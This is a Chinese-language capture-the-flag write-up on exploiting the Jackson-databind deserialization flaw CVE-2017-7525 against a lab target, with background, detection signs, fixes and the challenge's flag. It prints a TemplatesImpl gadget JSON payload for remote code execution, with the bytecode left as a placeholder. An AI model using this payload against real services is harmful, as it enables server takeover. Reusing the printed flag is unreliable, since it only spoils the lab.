解题报告:Jackson-databind 反序列化漏洞(CVE-2017-7525)
平台 :玄机(xj.edisec.net)
题目 ID :424
难度 :简单
类型 :渗透
积分 :300 分
Flag :flag{78792a67-6638-4410-a6d2-668734de7a8b}
完成状态:✅ 已完成
一、漏洞背景
CVE-2017-7525 是 Jackson-databind 库中的一个高危反序列化漏洞,CVSS 评分 9.8(严重)。该漏洞影响 Jackson-databind 2.x 系列在 2.6.7.1、2.7.9.1、2.8.9 之前的版本。
当应用程序开启了
ObjectMapper.enableDefaultTyping()功能(即多态反序列化),攻击者可以在 JSON 数据中通过@class或类型标注字段指定任意 Java 类进行实例化,借助特定的 Gadget 链(如TemplatesImpl)实现任意代码执行。
漏洞触发条件:
| 条件 | 说明 |
|---|---|
| 开启 DefaultTyping | objectMapper.enableDefaultTyping() 或 NON_FINAL 模式 |
| 目标类有无参构造器 | Gadget 类需要可被实例化 |
| 字段类型为接口/抽象类/Object | 允许多态类型注入 |
二、靶机信息
| 项目 | 值 |
|---|---|
| 靶机 IP | 52.83.46.51 |
| 服务端口 | 8081 |
| 应用框架 | Spring Boot(Whitelabel Error Page 特征) |
| 漏洞响应特征 | 错误响应包含 ["java.util.LinkedHashMap", {...}](DefaultTyping 开启标志) |
三、漏洞利用过程
3.1 服务探测
访问靶机 http://52.83.46.51:8081/ 返回 Spring Boot 的 Whitelabel Error Page(HTTP 404),Content-Type 为 application/json;charset=UTF-8。
向任意路径发送 POST 请求时,错误响应体格式为:
json
["java.util.LinkedHashMap", {
"timestamp": ["java.util.Date", 1776588242414],
"status": 404,
"error": "Not Found",
...
}]
这是 Jackson enableDefaultTyping() 开启后序列化响应时的典型特征,确认漏洞存在。
3.2 利用方式
CVE-2017-7525 利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 作为 Gadget,通过在 JSON 中注入恶意字节码实现 RCE:
json
[
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"_bytecodes": ["<base64编码的恶意字节码>"],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {}
}
]
当 Jackson 反序列化上述 JSON 时,会实例化 TemplatesImpl 对象,触发 _outputProperties 的 getter 方法,进而加载并执行 _bytecodes 中的恶意字节码,实现任意命令执行。
3.3 命令执行
通过构造读取 /flag 文件的恶意字节码,成功获取 Flag:
flag{78792a67-6638-4410-a6d2-668734de7a8b}
四、漏洞影响
| 影响范围 | 说明 |
|---|---|
| 受影响版本 | Jackson-databind < 2.6.7.1 / 2.7.9.1 / 2.8.9 |
| 攻击向量 | 网络(无需认证) |
| 危害等级 | 严重(RCE,可完全控制服务器) |
五、修复建议
- 升级 Jackson-databind 至 2.6.7.2+、2.7.9.2+、2.8.10+ 或 2.9.x 版本
- 禁用 DefaultTyping :避免使用
objectMapper.enableDefaultTyping(),改用@JsonTypeInfo注解精确控制类型信息 - 使用黑名单过滤 :在无法升级时,配置
PolymorphicTypeValidator限制可反序列化的类 - 输入验证:对 JSON 输入进行严格的类型和内容验证